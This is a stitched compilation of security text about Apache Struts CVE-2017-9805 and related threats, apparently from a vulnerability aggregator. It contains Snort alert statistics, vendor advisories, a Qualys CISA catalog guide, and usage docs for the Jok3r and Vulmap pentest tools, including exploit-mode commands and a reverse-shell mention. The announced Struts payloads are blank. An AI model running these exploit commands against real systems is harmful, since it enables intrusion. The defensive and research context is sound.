IDS alerts. \n \n\"OS-Windows\" class alerts were mainly triggered by Snort rule 1:41978, which covers the SMBv1 vulnerability exploited by [Wannacry](<https://blog.talosintelligence.com/2017/05/wannacry.html>) and [NotPetya](<https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html>) (MS-17-010). \n \nThe \"Browser-plugins\" class type covers attempts to exploit vulnerabilities in browsers that deal with plugins to the browser. (Example: ActiveX). Most activity for 2018 seems to consist of Sid 1:8068 which is amongst others linked to the \"Microsoft Outlook Security Feature Bypass Vulnerability\" (CVE-2017-11774). \n\n\n \n\n\n[](<http://2.bp.blogspot.com/-lKN6ktW9YRg/XF2L_nSsNfI/AAAAAAAAAVw/6G830jVQQA8On0TJLRDs0enzFolMyl-0QCK4BGAYYCw/s1600/012419-Snort-Sigs-Blog-outbound-signature-types.png>)[](<http://1.bp.blogspot.com/-hrZUBsvx4sw/XF2Py-Y-_-I/AAAAAAAAAWI/TU0EcE5KCNwNtIznDY93Bt6Hjn0WCih4QCK4BGAYYCw/s1600/012419-Snort-Sigs-Blog-outbound-signature-types.png>)\n\n \n \nFor outbound connections, we observed a large shift toward the \"PUA-Other\" class, which is mainly a cryptocurrency miner outbound connection attempt. Cryptomining can take up a large amount of valuable enterprise resources in terms of electricity and CPU power. To see how to block Cryptomining in an enterprise using Cisco Security Products, have a look at our [w](<https://blog.talosintelligence.com/2018/07/blocking-cryptomining.html>)[hitepaper](<https://blog.talosintelligence.com/2018/07/blocking-cryptomining.html>) published in July 2018. \n \nThe most frequently triggered rules within the \"Malware-CNC\" rule class are the Zeus trojan activity rules discussed above. \n\n\n### Conclusion\n\n \n\n\nSnort rules detect potentially malicious network activity. Understanding why particular rules are triggered and how they can protect systems is a key part of network security. Snort rules can detect and block attempts at exploiting vulnerable systems, indicate when a system is under attack, when a system has been compromised, and help keep users safe from interacting with malicious systems. They can also be used to detect reconnaissance and pre-exploitation activity, indicating that an attacker is attempting to identify weaknesses in an organization's security posture. These can be used to indicate when an organization should be in a heightened state of awareness about the activity occurring within their environment and more suspicious of security alerts being generated. \n \nAs the threat environment changes, it is necessary to ensure that the correct rules are in place protecting systems. Usually, this means ensuring that the most recent rule set has been promptly downloaded and installed. As shown in the Apache Struts vulnerability data, the time between a vulnerability being discovered and exploited may be short. \n \nOur most commonly triggered rule in 2018: 1:46237:1 \"PUA-OTHER Cryptocurrency Miner outbound connection attempt\" highlights the necessity of protecting IoT devices from attack. Malware such as Mirai seeks to compromise these systems to use them as part of a botnet to put to use for further malicious behaviour. Network architectures need to take these attacks into consideration and ensure that all networked devices no matter how small are protected. \n \nSecurity teams need to understand their network architectures and understand the significance of rules triggering in their environment. For full understanding of the meaning of triggered detections it is important for the rules to be open source. Knowing what network content caused a rule to trigger tells you about your network and allows you to keep abreast of the threat environment as well as the available protection. \n \nAt Talos, we are proud to maintain a set of open source Snort rules and support the thriving community of researchers contributing to Snort and helping to keep networks secure against attack. We're also proud to contribute to the training and education of network engineers through the Cisco Networking Academy, as well through the release of additional open-source tools and the detailing of attacks on our blog. \n \nYou can [subscribe](<https://www.snort.org/products>) to Talos' newest rule detection functionality for as low as $29 a year with a personal account.

Without further ado, we begin with the different payloads:\n\nCVE-2017-9805 payload for a reverse connection via MSTSC (Terminal Server Connection):\n\n\n\nThis has a high success rate on Windows systems which can \"connect back\" to you.\n\nCVE-2017-9805 payload for file download no execution (figure that part out): \n \nShould work on almost all Microsoft Windows systems as long as Tomcat has the right privileges set. \nCVE-2017-9805 payload for file download on a Linux machine: \n \nThis should also work on a good amount of systems that has cURL.\n\n## Fix CVE-2017-9805:\n\nAs the Apache Foundation suggests, the first option is to upgrade to [Struts 2.5.13](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.13>) or [Struts 2.3.34](<https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.34>). Secondly, you can upgrade the plugin by uploading all the required plugin JARs and it's dependencies.\n\nThe post [S2-052: Apache Struts2 REST Plugin Payloads (CVE-2017-9805)](<http://pentestit.com/apache-struts2-rest-plugin-remote-code-execution-cve-2017-9805/>) appeared first on [PenTestIT](<http://pentestit.com>).", "cvss3": {}, "published": "2017-09-07T05:33:35", "title": "S2-052: Apache Struts2 REST Plugin Payloads (CVE-2017-9805)", "type": "pentestit", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2017-9791", "CVE-2017-9805"], "modified": "2017-09-07T05:33:35", "href": "http://pentestit.com/apache-struts2-rest-plugin-remote-code-execution-cve-2017-9805/", "id": "PENTESTIT:37744BAB82BC3A7B208CCD4945FA50F7", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "fortinet": [{"lastseen": "2022-04-28T11:48:54", "description": "Multiple Remote Code Execution vulnerabilities (CVE-2017-9805, CVE-2017-9804, CVE-2017-9793) are affecting Apache Struts. \n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-09-29T00:00:00", "type": "fortinet", "title": "Apache Struts RCE Vulnerability", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9793", "CVE-2017-9804", "CVE-2017-9805"], "modified": "2017-09-29T00:00:00", "id": "FG-IR-17-205", "href": "https://www.fortiguard.com/psirt/FG-IR-17-205", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "cisco": [{"lastseen": "2022-06-05T10:03:06", "description": "On September 5, 2017, the Apache Software Foundation released security bulletins that disclosed three vulnerabilities in the Apache Struts 2 package.

It is initially based on official Kali Linux Docker image (kalilinux/kali-linux-docker). \n \n**Pull Jok3r Docker Image:** \n\n \n \n sudo docker pull koutto/jok3r\n\n**Run fresh Docker container:** \n\n \n \n sudo docker run -i -t --name jok3r-container -w /root/jok3r --net=host koutto/jok3r\n\n**Important: --net=host option is required to share host's interface. It is needed for reverse connections (e.g. Ping to container when testing for RCE, Get a reverse shell)** \nJok3r and its toolbox is ready-to-use ! \n\n\n * To re-run a stopped container:\n \n \n sudo docker start -i jok3r-container\n\n * To open multiple shells inside the container:\n \n \n sudo docker exec -it jok3r-container bash\n\nFor information about building your own Docker image or installing _Jok3r_ on your system without using Docker, refer to <https://jok3r.readthedocs.io/en/latest/installation.html> \n \n[](<https://draft.blogger.com/null>) \n**Quick usage examples** \n**Show all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --show-all\n\n**Install all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --install-all --fast\n\n**Update all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --update-all --fast\n\n**List supported services** \n\n \n \n python3 jok3r.py info --services\n\n**Show security checks for HTTP** \n\n \n \n python3 jok3r.py info --checks http\n\n**Create a new mission in local database** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n**Run security checks against an URL and add results to the mission** \n\n \n \n python3 jok3r.py attack -t https://www.example.com/webapp/ --add MayhemProject\n\n**Run security checks against a MSSQL service (without user-interaction) and add results to the mission** \n\n \n \n python3 jok3r.py attack -t 192.168.1.42:1433 -s mssql --add MayhemProject --fast\n\n**Import hosts/services from Nmap results into the mission scope** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission MayhemProject\n \n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]> nmap results.xml\n\n**Run security checks against all services in the given mission and store results in the database** \n\n \n \n python3 jok3r.py attack -m MayhemProject --fast\n\n**Run security checks against only FTP services running on ports 21/tcp and 2121/tcp from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=21,2121;service=ftp\" --fast\n\n**Run security checks against only FTP services running on ports 2121/tcp and all HTTP services on 192.168.1.42 from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=2121;service=ftp\" -f \"ip=192.168.1.42;service=http\"\n\n[](<https://draft.blogger.com/null>) \n \n**Typical usage example** \nYou begin a pentest with several servers in the scope. Here is a typical example of usage of _JoK3r_: \n\n\n 1. You run _Nmap_ scan on the servers in the scope.\n 2. You create a new mission (let's say \"MayhemProject\") in the local database:\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n 3. You import your results from _Nmap_ scan in the database:\n \n \n jok3rdb[MayhemProject]> nmap results.xml\n\n 4. You can then have a quick overview of all services and hosts in the scope, add some comments, add some credentials if you already have some knowledge about the targets (grey box pentest), and so on\n \n \n jok3rdb[MayhemProject]> hosts\n \n [...]\n \n jok3rdb[MayhemProject]> services\n \n [...]\n\n 5. Now, you can run security checks against some targets in the scope. For example, if you want to run checks against all Java-RMI services in the scope, you can run the following command:\n \n \n python3 jok3r.py attack -m MayhemProject -f \"service=java-rmi\" --fast\n\n 6. You can view the results from the security checks either in live when the tools are executed or later from the database using the following command:\n \n \n jok3rdb[MayhemProject]> results\n\n[](<https://draft.blogger.com/null>) \n \n**Full Documentation** \nDocumentation is available at: <https://jok3r.readthedocs.io/> \n \n[](<https://draft.blogger.com/null>) \n**Supported Services &amp; Security Checks ** \n**Lots of checks remain to be implemented and services must be added !!

vulnerabilities in Web containers, Web servers, Web middleware, and CMS and other Web programs, and has vulnerability exploitation functions. Relevant testers can use vulmap to detect whether the target has a specific vulnerability, and can use the vulnerability exploitation function to verify whether the vulnerability actually exists.\n\nVulmap currently has vulnerability scanning (poc) and exploiting (exp) modes. Use \"-m\" to select which mode to use, and the default poc mode is the default. In poc mode, it also supports \"-f\" batch target scanning, \"-o\" File output results and other main functions, Other functions [Options](<https://github.com/zhzyker/vulmap/#options>) Or python3 vulmap.py -h, the Poc function will no longer be provided in the exploit exploit mode, but the exploit will be carried out directly, and the exploit result will be fed back to further verify whether the vulnerability exists and whether it can be exploited.\n\n**Try to use \"-a\" to establish target types to reduce false positives, such as \"-a solr\"**\n\n \n\n\n### Installation\n\nThe operating system must have python3, python3.7 or higher is recommended\n\n * Installation dependency\n \n \n pip3 install -r requirements.txt\n \n\n * Linux &amp; MacOS &amp; Windows\n \n \n python3 vulmap.py -u http://example.com\n \n\n \n\n\n### Options\n \n \n optional arguments:\n -h, --help show this help message and exit\n -u URL, --url URL Target URL (e.g. -u \"http://example.com\")\n -f FILE, --file FILE Select a target list file, and the url must be distinguished by lines (e.g. -f \"/home/user/list.txt\")\n -m MODE, --mode MODE The mode supports \"poc\" and \"exp\", you can omit this option, and enter poc mode by default\n -a APP, --app APP Specify a web app or cms (e.g. -a \"weblogic\"). default scan all\n -c CMD, --cmd CMD Custom RCE vuln command, Other than \"netstat -an\" and \"id\" can affect program judgment. defautl is \"netstat -an\"\n -v VULN, --vuln VULN Exploit, Specify the vuln number (e.g. -v \"CVE-2020-2729\")\n --list Displays a list of vulnerabilities that support scanning\n --debug Debug mode echo request and responses\n --delay DELAY Delay check time, default 0s\n --timeout TIMEOUT Scan timeout time, default 10s\n --output FILE Text mode export (e.g. -o \"result.txt\")\n \n\n \n\n\n### Examples\n\nTest all vulnerabilities poc mode\n \n \n python3 vulmap.py -u http://example.com\n \n\nFor RCE vuln, use the \"id\" command to test the vuln, because some linux does not have the \"netstat -an\" command\n \n \n python3 vulmap.py -u http://example.com -c \"id\"\n \n\nCheck <http://example.com> for struts2 vuln\n \n \n python3 vulmap.py -u http://example.com -a struts2\n \n \n \n python3 vulmap.py -u http://example.com -m poc -a struts2\n \n\nExploit the CVE-2019-2729 vuln of WebLogic on <http://example.com:7001>\n \n \n python3 vulmap.py -u http://example.com:7001 -v CVE-2019-2729\n \n \n \n python3 vulmap.py -u http://example.com:7001 -m exp -v CVE-2019-2729\n \n\nBatch scan URLs in list.txt\n \n \n python3 vulmap.py -f list.txt\n \n\nExport scan results to result.txt\n \n \n python3 vulmap.py -u http://example.com:7001 -o result.txt\n \n\n \n\n\n### Vulnerabilitys List\n\nVulmap supported vulnerabilities are as follows\n \n \n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Target type | Vuln Name | Poc | Exp | Impact Version && Vulnerability description |\n +-------------------+------------------+-----+-----+-------------------------------------------------------------+\n | Apache Shiro | CVE-2016-4437 | Y | Y | <= 1.2.4, shiro-550, rememberme deserialization rce |\n | Apache Solr | CVE-2017-12629 | Y | Y | < 7.1.0, runexecutablelistener rce & xxe, only rce is here |\n | Apache Solr | CVE-2019-0193 | Y | N | < 8.2.0, dataimporthandler module remote code execution |\n | Apache Solr | CVE-2019-17558 | Y | Y | 5.0.0 -

Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection &amp; Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:&quot;true&quot;_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive.

Update (CPU) is a collection of patches for multiple security vulnerabilities. Critical Patch Update patches are usually cumulative, but each advisory describes only the security fixes added since the previous Critical Patch Update advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security fixes. Please refer to:\n\nCritical Patch Updates and Security Alerts for information about Oracle Security Advisories.\n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released fixes. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update fixes without delay.**\n\nThis Critical Patch Update contains 252 new security fixes across the product families listed below. Please note that a MOS note summarizing the content of this Critical Patch Update and other Oracle Software Security Assurance activities is located at [ October 2017 Critical Patch Update: Executive Summary and Analysis](<https://support.oracle.com/epmos/faces/DocumentDisplay?_afrLoop=187793594395974id=2310031.1>).\n\nPlease note that on September 22, 2017, Oracle released Security Alert for CVE-2017-9805. Customers of affected Oracle product(s) are strongly advised to apply the fixes that were announced in this Security Alert as well as those contained in this Critical Patch update\n\nThis Critical Patch Update advisory is also available in an XML format that conforms to the Common Vulnerability Reporting Format (CVRF) version 1.1.
